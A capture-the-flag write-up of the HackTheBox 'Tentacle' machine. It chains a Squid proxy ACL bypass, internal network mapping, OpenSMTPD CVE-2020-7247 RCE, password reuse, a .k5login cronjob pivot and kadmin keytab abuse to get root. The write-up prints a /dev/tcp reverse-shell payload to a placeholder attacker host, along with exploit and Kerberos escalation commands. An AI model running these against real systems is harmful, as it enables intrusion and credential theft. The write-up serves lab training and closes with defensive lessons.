Tentacle - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Tentacle is a multi-hop Active Directory / Kerberos box built around a misconfigured Squid forward proxy. The proxy’s ACLs trust requests based on source IP, not identity, so chaining requests back through the proxy itself (source-IP spoofing via proxy relay) unlocks access to an internal-only WPAD host. The PAC file served there leaks internal subnet ranges that aren’t reachable from the outside, and DNS reveals a second host running a vulnerable OpenSMTPD daemon (CVE-2020-7247), which gives root RCE on that box. A leaked SMTP client config on the compromised host discloses a password that turns out to be reused as a Kerberos password for a domain user, enabling GSSAPI-authenticated SSH onto the domain-joined server. From there, an insecure Squid log-rotation cronjob combined with a group-writable log directory allows planting a .k5login file to pivot to a second local user, whose access to the domain’s krb5.keytab exposes the kadmin/admin Kerberos principal — enough to mint a brand-new root@REALCORP.HTB principal and ksu straight to root.

TL;DR: Squid proxy ACL bypass (source-IP chaining) → internal WPAD/PAC disclosure → DNS PTR sweep finds internal SMTP host → CVE-2020-7247 OpenSMTPD RCE (root) → .msmtprc password reuse as Kerberos password → GSSAPI SSH (user) → cronjob + group-writable dir abuse → .k5login pivot to admin → readable krb5.keytab with kadmin/admin key → mint root@REALCORP.HTB principal → ksu to root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.11.X

Results: Kerberos (88) and Squid Proxy (3128) exposed on their default ports — a strong signal this is an AD-integrated environment reachable only through the proxy for anything outside the advertised services.

Service Enumeration

Browsing / curling port 3128 confirms Squid is a forward proxy, not a normal web app. Direct requests through it to arbitrary internal hostnames get rejected by ACLs unless the source address matches an allowed range.

# confirm squid identity and default-deny behavior
curl -v --proxy http://10.10.11.X:3128 http://example.com/

Squid’s http_access ACLs are commonly written to trust localhost (127.0.0.1) or other internal proxy hops implicitly — a classic Squid misconfiguration when the box is also relaying its own traffic through itself.

Vulnerability Assessment

• Squid ACLs enforce access by source IP only, not credentials — vulnerable to chaining requests back through the proxy so the next hop sees a trusted source address instead of the real attacker IP.
• Internal WPAD/PAC infrastructure discloses internal subnet layout once reachable.
• DNS server allows PTR enumeration across discovered internal subnets.
• OpenSMTPD instance on an internal host vulnerable to CVE-2020-7247 (unauthenticated RCE via crafted RCPT TO / MAIL FROM).

Initial Foothold

Exploitation Path

1. Squid ACL bypass via source-IP proxy chaining

Squid trusted requests that appeared to originate from itself / from a second internal proxy hop. Chaining the request through Squid multiple times (each hop making the next request look like it came from a trusted internal address) let requests reach wpad.realcorp.htb, which is not directly reachable from the external network.

# proxychains dynamic chaining through squid, three hops deep,
# so the final request to the internal wpad host looks like it
# originates from an already-trusted internal source
cat >> /etc/proxychains.conf <<'EOF'
dynamic_chain
[ProxyList]
http 10.10.11.X 3128
http 127.0.0.1 3128
http <internal-proxy-hop-ip> 3128
EOF

echo '<internal-ip> wpad.realcorp.htb' >> /etc/hosts

# now the request no longer gets blocked by squid's source-ip ACLs
proxychains curl http://wpad.realcorp.htb/wpad.dat

The wpad.dat PAC file returned the internal subnet CIDRs that bypass the proxy entirely (direct-connect ranges), which is exactly what’s needed to reach further internal hosts.

2. DNS PTR sweep of the disclosed subnet

# reverse-lookup every host in the internal range the PAC file revealed
for i in {1..254}; do
  dig -x <internal-subnet>.$i +noall +answer @10.10.11.X
done

This found srvpod01, a host not otherwise visible from outside the proxy.

3. CVE-2020-7247 — OpenSMTPD RCE

A scan of srvpod01 through the proxy chain found OpenSMTPD on port 25. OpenSMTPD versions prior to 6.6.4p1 are vulnerable to CVE-2020-7247, an out-of-bounds read in the SMTP session state machine that a crafted MAIL FROM/envelope sequence turns into command execution running as root (OpenSMTPD’s default privilege-separation model runs part of the delivery pipeline as root on some configurations).

# proxychains-wrapped exploit against the internal SMTP host,
# routes through the squid chain established above
proxychains python3 cve-2020-7247.py srvpod01.realcorp.htb 25 \
  'bash -c "bash -i >& /dev/tcp/<attacker-tun0-ip>/4444 0>&1"'

This landed a root reverse shell directly on the SMTP host — no privilege escalation needed on that box, but it’s a jump host, not the domain controller/main target.

4. Credential reuse — .msmtprc → Kerberos

Enumerating the compromised SMTP host’s filesystem for local configs turned up a .msmtprc (msmtp mail client config) belonging to j.nakazawa, containing a plaintext SMTP password. SMTP creds like this are frequently reused for the domain account of the same name — and here they were, as the Kerberos password for j.nakazawa@REALCORP.HTB.

# request a TGT for j.nakazawa using the leaked SMTP password
kinit j.nakazawa@REALCORP.HTB
klist   # confirm ticket issuance

# GSSAPI SSH using the Kerberos ticket instead of a password
ssh -K j.nakazawa@srv01.realcorp.htb

SSH on srv01.realcorp.htb is configured for GSSAPI authentication, so a valid Kerberos ticket is sufficient to log in without ever supplying a password over SSH — this bypassed a direct SSH password attempt that had failed earlier. user.txt captured here.

Privilege Escalation

Lateral move: j.nakazawa → admin, via cronjob + group-writable Squid log dir

Enumeration on srv01.realcorp.htb found a root/admin cronjob that rotates Squid’s logs — copying/archiving files out of a Squid log directory that j.nakazawa (member of the squid group) has write access to. Anything dropped into that directory before the cronjob fires gets swept into the admin-owned target directory.

MIT Kerberos’s .k5login mechanism grants login as a target account to any principal listed in ~targetuser/.k5login, without needing that account’s password — as long as the requester already holds a valid ticket for the listed principal. Since j.nakazawa already had a valid TGT, planting a .k5login naming that principal in the admin-owned home directory is enough to ssh -K in as admin.

# drop .k5login into the group-writable squid log path so the
# cronjob relocates it into admin's home on its next run
echo "j.nakazawa@REALCORP.HTB" > /var/log/squid/.k5login

The .k5login/cronjob window proved short-lived on this box (the file gets moved/consumed quickly), so this step required polling for the file to land and the login to become valid before it aged out or got cleaned up:

# poll until the ticket-based login succeeds
until ssh -K -o BatchMode=yes admin@srv01.realcorp.htb true 2>/dev/null; do
  sleep 5
done
ssh -K admin@srv01.realcorp.htb

admin → root, via krb5.keytab and a minted Kerberos principal

As admin, /etc/krb5.keytab was group-readable. Keytabs store long-term service key material — and this one included the kadmin/admin@REALCORP.HTB principal’s key, i.e. credentials for the Kerberos administration service itself.

# list the principals embedded in the keytab
klist -kt /etc/krb5.keytab

Holding the kadmin/admin key means kadmin can be driven with administrative rights against the realm’s KDC — including creating brand-new principals. That’s used to mint a root@REALCORP.HTB principal:

# authenticate to kadmin using the kadmin/admin key from the keytab,
# then create a new root principal in the realm
kadmin -p kadmin/admin -k -t /etc/krb5.keytab
kadmin:  addprinc root@REALCORP.HTB

ksu allows a user holding a valid ticket for a principal listed in a target account’s .k5login (or matching the target’s own principal, per local ksu policy) to switch to that local account. With a fresh root@REALCORP.HTB ticket in hand:

kinit root@REALCORP.HTB

ksu -e <path> reliably failed here with "did not get resolved" — worked around by invoking ksu with an explicit principal and -a/-c instead of -e:

# ksu -e kept failing to resolve the target executable path;
# ksu -n <principal> -a -c "<cmd>" works instead
ksu root -n root@REALCORP.HTB -a -c "id"
ksu root -n root@REALCORP.HTB -a -c "cat /root/root.txt"

This dropped a root shell / read root.txt directly.

Attack Chain Summary

Squid proxy (3128) ACL bypass via proxychains source-IP relay chaining
  → reach internal-only wpad.realcorp.htb → PAC file leaks internal subnets
  → DNS PTR sweep of leaked subnet → discover srvpod01 (OpenSMTPD)
  → CVE-2020-7247 OpenSMTPD RCE → root shell on srvpod01
  → .msmtprc leaks j.nakazawa's SMTP password (reused as Kerberos password)
  → kinit + GSSAPI SSH (ssh -K) as j.nakazawa on srv01.realcorp.htb → user.txt
  → squid-group-writable log dir + admin cronjob → plant .k5login
  → GSSAPI SSH as admin
  → admin-readable /etc/krb5.keytab discloses kadmin/admin key
  → kadmin: mint root@REALCORP.HTB principal
  → kinit root@REALCORP.HTB + ksu root -n root@REALCORP.HTB -a -c → root.txt

Tools Used

Key Learnings

Techniques Practiced

• Squid proxy ACL bypass via source-IP relay chaining with proxychains
• WPAD/PAC-based internal network reconnaissance
• DNS PTR sweeping to map hosts behind a segmented internal subnet
• Exploiting CVE-2020-7247 (OpenSMTPD RCE)
• Credential reuse hunting across service configs (.msmtprc → Kerberos password)
• GSSAPI/Kerberos-authenticated SSH
• Abusing cronjob + group-writable directory combos to plant .k5login for account pivoting
• Reading krb5.keytab to recover realm-admin (kadmin/admin) key material
• Minting new Kerberos principals via kadmin and using ksu for ticket-based privilege escalation

Lessons Learned

1. IP-based ACLs are not identity. Squid trusting requests purely by source address let simple proxy-chaining defeat the entire access control layer — auth should never be a substitute-able network attribute.
2. Password reuse across service configs is still one of the most reliable pivots. A plaintext credential in a mail client config (.msmtprc) turned into full domain authentication because the same password served two purposes.
3. .k5login is a powerful but dangerous convenience. Any world/group-writable path that a privileged cronjob later touches is effectively an arbitrary-file-drop primitive — and in a Kerberos environment that includes handing out account access outright.
4. Keytabs are credentials, not just config. A group-readable krb5.keytab containing kadmin/admin is equivalent to full realm administrative control — file permissions on keytabs deserve the same scrutiny as password files.
5. Tooling quirks matter under time pressure. ksu -e failing with a vague resolution error wasted time; falling back to ksu <user> -n <principal> -a -c "<cmd>" was the reliable path — worth remembering for any future Kerberos-heavy box.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• MrR3boot, Tentacle (HackTheBox official writeup, Document No D20.100.123), Machine Author: polarbearer — used for CVE identification (CVE-2020-7247) and conceptual explanation of the Squid ACL bypass, WPAD/PAC mechanics, and .k5login/keytab escalation path. All IPs, hostnames’ resolved addresses, command outputs, and credentials in this writeup are from the author’s own solve, not from this reference.